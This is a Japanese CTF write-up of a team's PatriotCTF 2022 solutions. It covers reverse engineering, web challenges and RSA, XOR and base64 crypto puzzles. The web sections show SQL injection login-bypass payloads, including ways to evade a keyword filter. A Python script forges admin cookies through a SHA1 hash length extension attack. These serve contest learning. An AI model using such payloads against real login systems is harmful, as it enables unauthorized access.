PatriotCTF Writeup

この大会は2022/4/30 6:00(JST)~2022/5/1 6:00(JST)に開催されました。
今回もチームで参戦。結果は11939点で436チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。

Join the Discord (Misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

PCTF{y0ur3_t34ring_m3_4p4rt_1isa}

Apples (Misc)

$ file apples
apples: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a9d726b38f66c296b53ef882a4f40732348f7dcb, for GNU/Linux 3.2.0, not stripped

$ ltrace ./apples
printf("Please enter the password: ")           = 27
fgets(Please enter the password: a
"a\n", 1024, 0x7f1f77d5ba00)              = 0x7fff74e87d70
strcmp("a\n", "apples\n")                       = -102
puts("Sorry, that password was wrong!!"...Sorry, that password was wrong!!!
)     = 34
+++ exited (status 0) +++

$ ./apples
Please enter the password: apples
You're right! The correct password was apples!
You deserve some apples as a reward!

apples_rewardが生成された。

$ file apples_reward 
apples_reward: ASCII text, with very long lines, with no line terminators

内容はbase64文字列。デコードすると、jpgになったので、問題にある通り、steghideで情報を抽出する。パスワードには"apples"を指定する。

$ steghide extract -sf flag.jpg -p apples
wrote extracted data to "data.txt".
$ cat data.txt 
pctf{@pples_tast3_amaz\!ng666}

そのままではフラグが通らなかったので、"\"をエスケープ文字として、省略する。

pctf{@pples_tast3_amaz!ng666}

String Cheese (Reverse Engineering)

$ strings cheese | grep PCTF
PCTF{d0nt_string_m3_410ng_b3_my_v413ntin3}
PCTF{d0nt_string_m3_410ng_b3_my_v413ntin3}

PeeWhySea (Reverse Engineering)

Python3.9のpycのようだが、デコンパイルツールはPython3.8以下しかサポートしていない。ヘッダの1バイトのみ変更し、Python3.8のpycヘッダにする。

61 -> 55

pycをデコンパイルする。

$ uncompyle6 flag-checker.pyc 
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.6.9 (default, Mar 15 2022, 13:55:28) 
# [GCC 8.4.0]
# Embedded file name: ./flag-checker.py
# Compiled at: 2022-03-29 07:35:26
# Size of source mod 2**32: 318 bytes
import sys
if len(sys.argv) != 2:
    print('One argument required')
    sys.exit()
else:
    arg = sys.argv[1]
    key = 'ABCDEFGHIJKLMNOP'
    encode = ''.join(['{:02x}'.format(ord(a) ^ ord(b)) for a, b in zip(arg, key)])
    if encode == '110117023e3273237a157f133d372c2d':
        print('You have the correct flag!')
    else:
        print('Wrong flag')
# okay decompiling flag-checker.pyc

keyとのXORの16進表記が'110117023e3273237a157f133d372c2d'であるので、XORで復号する。

#!/usr/bin/env python3
enc = bytes.fromhex('110117023e3273237a157f133d372c2d')
key = b'ABCDEFGHIJKLMNOP'

flag = ''.join([chr(a ^ b) for a, b in zip(enc, key)])
print(flag)
PCTF{t4k3_4_pyc}

Inspector Clouseau (Web)

HTMLソースを見たら、コメントにフラグが書いてあった。

PCTF{i_w0u1d_1ik3_t0_buy_4_h4mburg3r}

Rock and Roll (Web)

ブラウザでアクセスすると、https://www.youtube.com/watch?v=dQw4w9WgXcQにリダイレクトされる。
リダイレクトせずにHTTPヘッダを確認する。

$ curl http://chal2.pctf.competitivecyber.club:49399/ -v
*   Trying 34.205.133.141...
* TCP_NODELAY set
* Connected to chal2.pctf.competitivecyber.club (34.205.133.141) port 49399 (#0)
> GET / HTTP/1.1
> Host: chal2.pctf.competitivecyber.club:49399
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: Werkzeug/2.1.1 Python/3.10.4
< Date: Sat, 30 Apr 2022 03:09:07 GMT
< Content-Type: text/html; charset=utf-8
< link: <style.css>; rel=stylesheet;
< flag: PCTF{r1Ck_D0wn_7h3_r0ll}
< Refresh: 5; url=https://www.youtube.com/watch?v=dQw4w9WgXcQ
< Content-Length: 0
< 
* Connection #0 to host chal2.pctf.competitivecyber.club left intact
PCTF{r1Ck_D0wn_7h3_r0ll}

Apocalypse Security - 1 (Web)

ログイン画面で、以下を入力し、ログインする。

Username: ' or 1=1 -- -
Password: a

ログイン成功し、フラグが表示された。

PCTF{SQLI_iS_3@sy}

Spongebob (Web)

`ls -la`と入力してみる。

totAL 476
dr-Xr-XR-x 1 rOot wwW-Data   4096 ApR 29 23:43 .
drWXr-xR-x 1 RooT RoOT       4096 aPr 20 11:18 ..
-RW-RW-r-- 1 roOT www-DATA     29 apR 26 20:34 .DOCKErIGnoRE
-R--r--R-- 1 ROot WWW-dATA 453875 aPr 26 20:31 FlAG-aS98Dc6rnv3P948R7aSP98FDYNp.JPG
-r--r--r-- 1 ROOt Www-DATa    293 aPr 26 20:31 INdex.hTML
-r--R--r-- 1 rOoT wwW-daTA    118 ApR 26 20:31 maiN.PHp
-r--R--r-- 1 roOT wwW-dATa    437 APR 26 20:31 MemeteXT.py

大文字か小文字化は不明だが、すべて小文字として以下のURLにアクセスすると、画像にフラグが書いてあった。

http://chal1.pctf.competitivecyber.club:10009/flag-as98dc6rnv3p948r7asp98fdynp.jpg

PctF{SPoNGebob_LOokiNG_ThIcC}

Locked (Web)

サブディレクトリを探ってみると、http://chal1.pctf.competitivecyber.club:10017/admin/にアクセスできた。HTMLソースを確認し、リンクされているmain.jsを確認してみると、以下のような記述があった。

var thing = atob(atob(atob("VERKR2EySlhiSFZNTUVaTVUydFNWRk5yV2t4U1JrNUxWRVZHVkZKcE9YSmpNbmhyWVcxYWRtRlhSbXRqTWxsMVpFaG9NQT09")));
$ echo VERKR2EySlhiSFZNTUVaTVUydFNWRk5yV2t4U1JrNUxWRVZHVkZKcE9YSmpNbmhyWVcxYWRtRlhSbXRqTWxsMVpFaG9NQT09 | base64 -d | base64 -d | base64 -d
/admin/AKJDSJFKDSJLASF/ksldjfoiadsf.txt

http://chal1.pctf.competitivecyber.club:10017/admin/AKJDSJFKDSJLASF/ksldjfoiadsf.txtにアクセスすると、以下のように書かれていた。

https://pastebin.com/F21q9Eu8

https://pastebin.com/F21q9Eu8にアクセスすると、フラグが記載されていた。

pctf{Th3_W3bsite_w@s_UnL0cK3d}

Apocalypse Security - 2 (Web)

ログイン画面で、以下を入力し、ログインしてみる。

Username: ' or 1=1 -- -
Password: a

SQL injection Deteced: or」と表示された。"or"は使えないようだ。
次に以下を入力して、ログインしてみる。

Username: ' union select 'admin', 'pass' -- -
Password: a

SQL injection Deteced: admin」と表示された。"admin"は使えないようだ。
次に以下を入力して、ログインしてみる。

Username: ' union select 'a', 'a' -- -
Password: a

ログイン成功し、フラグが表示された。

PCTF{f1l7ers_n0t_s3cur3}

Apocalypse Security - 3 (Web)

今度は'admin'でログインする必要がある。ただし、'or', 'and', 'admin'は使えない。
文字列を連結するように、以下を入力して、ログインしてみる。

Username: ' union select 'ad' || 'min', 'a' -- -
Password: a

ログイン成功し、フラグが表示された。

PCTF{w0rld_0f_sQl_8kdw7}

Base64 Times 10 (Crypto)

10回base64デコードする。

#!/usr/bin/env python3
import base64

with open('cipher.txt', 'r') as f:
    data = f.read()

for _ in range(10):
    data = base64.b64decode(data)

flag = data.decode()
print(flag)
pctf{0bfusc@tion_1s_n0t_3ncrypt10n}

The Order (Crypto)

Cistercian numerals。https://en.wikipedia.org/wiki/Cistercian_numeralsを見ながら、デコードする。

6811 1112 5195 1101 1710 9985 1114 9511 5121 1151 1651 1093 3

ASCIIコードの文字になるよう切りながらデコードする、

#!/usr/bin/env python3
enc = '6811 1112 5195 1101 1710 9985 1114 9511 5121 1151 1651 1093 3'
enc = enc.replace(' ', '')

flag = ''
code = ''
for c in enc:
    code += c
    if int(code) > 32 and int(code) < 127:
        flag += chr(int(code))
        code = ''

flag = 'PCTF{%s}' % flag
print(flag)
PCTF{Dop3_numb3r_syst3m!}

No Postcode Envy (Crypto)

RM4SCC。https://en.wikipedia.org/wiki/RM4SCCを参考にデコードする。

OHLORDEK
PCTF{OHLORDEK}

TwoFifty (Crypto)

RSA暗号。nをfactordbで素因数分解する。

p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367

あとはそのまま通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 2140324650240744961264423072839333563008614715144755017797754920881418023447140136643345519095804679610992851872470914587687396261921557363047454770520805119056493106687691590019759405693457452230589325976697471681738069364894699871578494975937497937
e = 65537
c = 1374140457838957379493712264664046131145058468396958574281359672603632278570608567064112242671498606710440678399100851664468278477790512915780318592408890478262161233349656479275652165724092531743704926961399610549341692938259957133256408358261191631

p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)

復号結果は以下の通り。

this_s3miprim3_t00k_2700_CPU_c0r3_y34rs_t0_cr4ck
PCTF{this_s3miprim3_t00k_2700_CPU_c0r3_y34rs_t0_cr4ck}

Cowsay (Crypto)

https://wiremask.eu/tools/xor-cracker/でクラックする。鍵長38で鍵がフラグになることがわかる。

PCTF{this_is_4_sup3r_i(p0rt4nt_bin4ry}

CorruptAAAAd (Crypto)

base64デコードしてPEM形式からDER形式にデータを変換する。あとはDER形式が以下のようになっていることから、n, e, dを取り出す。

RSAPrivateKey ::= SEQUENCE {
    version           Version,
    modulus           INTEGER, -- n
    publicExponent    INTEGER, -- e
    privateExponent   INTEGER, -- d
    prime1            INTEGER, -- p
    prime2            INTEGER, -- q
    exponent1         INTEGER, -- d mod (p-1)
    exponent2         INTEGER, -- d mod (q-1)
    coefficient       INTEGER, -- (inverse of q) mod p
    otherPrimeInfos   OtherPrimeInfos OPTIONAL
}

あとはこのまま復号し、フラグ部分を取り出す。

#!/usr/bin/env python3
from base64 import *
from Crypto.Util.number import *

with open('corrupted-privkey.pem', 'r') as f:
    data = ''.join(f.read().splitlines()[1:-1]).encode()

data = b64decode(data)

n = int(data[0x00b:0x10c].hex(), 16)
e = int(data[0x10e:0x111].hex(), 16)
d = int(data[0x115:0x215].hex(), 16)

with open('encryptedmessage.enc', 'rb') as f:
    c = bytes_to_long(f.read())

m = pow(c, d, n)
msg = long_to_bytes(m)
index_begin = msg.index(b'PCTF')
index_end = msg.index(b'}', index_begin)
flag = msg[index_begin:index_end + 1].decode()
print(flag)
PCTF{g1mm3_th3_e}

Merkle-Derkle (Crypto)

サーバの処理概要は以下の通り。

・letters: 英大小文字
・secret: 15~35文字の英大小文字

■/ (GET)
・クッキーのauthが設定されていない場合
 ・new_user()
  ・user = "admin=False"
  ・data = secret + user
  ・mac: dataのsha1ダイジェスト(hex)
  ・cookie_val: userの16進数表記 + "." + mac
  →authに設定
・クッキーのauthが設定されている場合
 ・admin = validate(<クッキーのauthの値>)
  ・user: "."の前のhexデコード
  ・data = secret + user
  ・cookie_mac: "."の後ろ
  ・dataのsha1ダイジェスト(hex)とcookie_macが一致していたら"="区切りの最後の値を返す。
 ・adminがTrueの場合、adminページを表示

クッキーのauthに以下が設定されていた。

61646d696e3d46616c7365.9451921a06a1d53d48e56d40f206ae2928e57f72

Hash Length Extension Attackで設定すべきクッキーを取得する。

既知文字列:admin=False
既知ハッシュ:Cookieから取得 ※上記の場合、9451921a06a1d53d48e56d40f206ae2928e57f72
追加文字列:=True

secretの全パターンの長さの場合のクッキーの値を列挙する。

#!/usr/bin/env python3
import hashpumpy

cookie_val = '61646d696e3d46616c7365.9451921a06a1d53d48e56d40f206ae2928e57f72'

known_str = bytes.fromhex(cookie_val.split('.')[0]).decode()
known_hash = cookie_val.split('.')[1]
add_data = '=True'

for secret_len in range(15, 36):
    h, d = hashpumpy.hashpump(known_hash, known_str, add_data, secret_len)
    auth_val = d.hex() + '.' + h
    print(auth_val)

列挙した結果は以下の通り。

61646d696e3d46616c736580000000000000000000000000000000000000000000000000000000000000000000000000d03d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000000000000000000000000000000d83d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000000000000000000000000000000e03d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000000000000000000000000000000e83d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000000000000000000000000f03d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000000000000000000000000f83d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000000000000000000000001003d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000000000000000001083d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000000000000000001103d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000000000000000001183d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000000000001203d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000000000001283d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000000000001303d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000001383d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000001403d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000001483d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000001503d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000001583d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000001603d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000001683d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000001703d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a

順にクッキーに設定して、リロードする。
以下をクッキーのauthに設定したときにフラグが表示された。

61646d696e3d46616c7365800000000000000000000000000000000000000000000000000001203d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a

PCTF{c4p4c10us_3xtr3m1s}